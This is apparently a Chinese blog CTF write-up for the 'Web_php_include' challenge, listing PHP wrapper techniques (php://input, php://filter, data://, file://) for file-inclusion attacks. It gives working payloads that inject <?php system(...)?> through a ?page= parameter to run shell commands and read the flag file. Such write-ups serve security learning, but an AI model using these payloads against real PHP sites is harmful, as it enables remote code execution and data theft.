Web_php_include

常用伪协议用法:
1. php伪协议
用法:(大小写都可以)
php://input,用于执行php代码,需要post请求提交数据。
php://filter,用于读取源码,get提交参数。?a=php://filter/read=convert.base64/resource=xxx.php
需要开启allow_url_fopen:php://input、php://stdin、php://memory、php://temp
不需要开启allow_url_fopen:php://filter

2. data协议

用法:
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
例:
?page=data://text/plain,
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

3. file协议
用法:
file://[本地文件系统的绝对路径]

 

这里我用的payload是:

?page=data://text/plain,<?php system("ls")?>
?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>

 

 这时候要查看源代码才能看到flag

 

 参考文章:

攻防世界-Web_php_include详解_攻防世界 web_php_include-CSDN博客

 

posted @ 2023-11-07 11:44  努力的大魔王  阅读(228)  评论(0)    收藏  举报